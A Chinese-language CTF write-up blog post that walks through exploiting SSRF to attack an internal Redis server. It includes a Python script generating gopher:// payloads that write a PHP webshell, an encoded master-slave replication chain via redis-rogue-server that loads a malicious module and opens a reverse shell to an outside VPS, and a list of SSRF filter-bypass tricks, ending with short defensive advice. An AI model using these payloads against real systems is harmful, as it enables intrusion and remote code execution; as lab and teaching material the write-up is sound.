SSRF主从复制getshell

2

redis_getshell_ezweb

环境复现

ubuntu 16.04 + docker

1
2
cd docker
docker-compose up -d

漏洞利用

右键源码发现如下备注信息

1
<!--?secret-->

直接请求,获取当前靶机环境的ip地址

直接带入提交框中进行http请求

根据url格式,和页面显示情况,怀疑是一个ssrf利用,尝试探测内网是否有redis服务,测试出redis服务的地址为192.168.144.2

并且进过后续测试发现目标环境是存在过滤的,过滤了file://,dict://

这里直接使用gopher协议直接用脚本尝试写入webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/local/env python3
# -*- coding:utf-8 -*-

import urllib
import requests

#脚本参数修改处
PATH = '/var/www/html'
FILENAME = 'shell.php'
DEST_REDIS_IP = '192.168.144.2' #存在redis的目标主机IP
SSRF_VUL_IP = 'http://192.168.1.191:5000/index.php?url={}&submit=%E6%8F%90%E4%BA%A4'

# 生成payload
def generate_payload():
gopher = "gopher://{}:6379/_".format(DEST_REDIS_IP)
redis_command = """flushall
set 1 "<?php system('cat /flag');?>"
config set dir {}
config set dbfilename {}
save
quit

""".format(PATH, FILENAME)
urlencode_one = urllib.parse.quote(redis_command, 'utf-8')
replace_str = urlencode_one.replace('%0A', '%0D%0A')
urlencode_two = urllib.parse.quote(replace_str, 'utf-8')
payload = gopher + urlencode_two
return payload

def main():
payload = generate_payload()
url = SSRF_VUL_IP.format(payload)
print(url)
res = requests.get(url = url, timeout = 1)
print(res.text)


if __name__ == '__main__':
main()

根据返回信息发现,判断应该写入成功

尝试请求写入的shell,成功获取flag

SSRF打内网redis主从复制

复现环境

这里题目使用的是2020年网鼎玄武组的一道题目

环境地址:网鼎杯 2020 玄武组 SSRFMe https://buuoj.cn/challenges

url逻辑限制的绕过

这里的绕过方式有很多,这里直接使用http://0.0.0.0进行绕过,请求hint.php,获取redis的密码为root

使用dict://协议进行探测,发现存在redis,且需要认证

ssrf主从复制getshell

这里主要使用gopher://协议;

buu的环境权限复现的有些问题,但是这不影响我们做题,直接采用预期思路解题;

  • 公网vps使用redis-rogue-server伪造主服务

工具下载地址 https://github.com/n0b0dyCN/redis-rogue-server/

启动服务 python3 redis-rogue-server.py --rhost=127.0.0.1 --rport=6379 --lhost=149.x.x.x

本地监听 nc -lvnp 6379

  • 设置目录

http://e3c2954c-bbf9-47dd-a41a-b7883db9a90c.node3.buuoj.cn/?url=gopher://0.0.0.0:6379/_

1
2
3
4
5
6
7
8
9
10
auth root
config set dir /tmp/
quit
%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34

auth root
config set dbfilename exp.so
slaveof 149.129.47.247 21000
quit
%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%33%31%25%33%34%25%33%39%25%32%65%25%33%31%25%33%32%25%33%39%25%32%65%25%33%34%25%33%37%25%32%65%25%33%32%25%33%34%25%33%37%25%32%30%25%33%32%25%33%31%25%33%30%25%33%30%25%33%30%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
  • 导入模块
1
2
3
4
auth root
module load ./exp.so
quit
%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%30%25%36%63%25%36%66%25%36%31%25%36%34%25%32%30%25%32%65%25%32%66%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
  • 关闭主从
1
2
3
4
auth root
slaveof no one
quit
%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%36%65%25%36%66%25%32%30%25%36%66%25%36%65%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
  • 设置数据库
1
2
3
4
auth root
config set dbfilename dump.rdb
quit
%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%34%25%37%35%25%36%64%25%37%30%25%32%65%25%37%32%25%36%34%25%36%32%25%32%30%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34
  • 反弹shell
1
2
3
4
auth root
system.rev 149.129.47.247 9999
quit
%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%65%25%37%32%25%36%35%25%37%36%25%32%30%25%33%31%25%33%34%25%33%39%25%32%65%25%33%31%25%33%32%25%33%39%25%32%65%25%33%34%25%33%37%25%32%65%25%33%32%25%33%34%25%33%37%25%32%30%25%33%39%25%33%39%25%33%39%25%33%39%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34

非预期解

这边是因为权限没有控制到位的原因,导致可以直接向目标服务器web目录写shell,这里就直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/local/env python3
# -*- coding:utf-8 -*-

import urllib
import requests

#脚本参数修改处
PATH = '/var/www/html'
FILENAME = 'shell.php'
DEST_REDIS_IP = '192.168.144.2' #存在redis的目标主机IP
SSRF_VUL_IP = 'http://192.168.1.191:5000/index.php?url={}&submit=%E6%8F%90%E4%BA%A4'

# 生成payload
def generate_payload():
gopher = "gopher://{}:6379/_".format(DEST_REDIS_IP)
redis_command = """AUTH root
flushall
set 1 "<?php system('cat /flag');?>"
config set dir {}
config set dbfilename {}
save
quit

""".format(PATH, FILENAME)
urlencode_one = urllib.parse.quote(redis_command, 'utf-8')
replace_str = urlencode_one.replace('%0A', '%0D%0A')
urlencode_two = urllib.parse.quote(replace_str, 'utf-8')
payload = gopher + urlencode_two
return payload

def main():
payload = generate_payload()
url = SSRF_VUL_IP.format(payload)
print(url)
#res = requests.get(url = url, timeout = 1)
#print(res.text)


if __name__ == '__main__':
main()

ssrf绕过与防御

常用绕过方法

1.@

1
2
3
http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而`libcur`l则识别为www.bbb.com

2.利用[::]
可以利用[::]来绕过localhost

1
http://[::]:80/  >>>  http://127.0.0.1

3.添加端口号

1
http://127.0.0.1:8080

4.利用短网址
站长工具短网址
百度短网址
5.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

1
127.0.0.1.xip.io,可解析为127.0.0.1

6.利用DNS解析
在域名上设置A记录,指向127.0.1
7.利用进制转换

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

8.句号

1
127。0。0。1  >>>  127.0.0.1

9.302跳转
使用https://tinyurl.com生成302跳转地址

常见限制手段

1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址

SSRF漏洞防御

1、禁用不需要的协议(如:file:///gopher://,dict://等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP

作者

丨greetdawn丨

发布于

2020-08-16

更新于

2022-04-01

许可协议

评论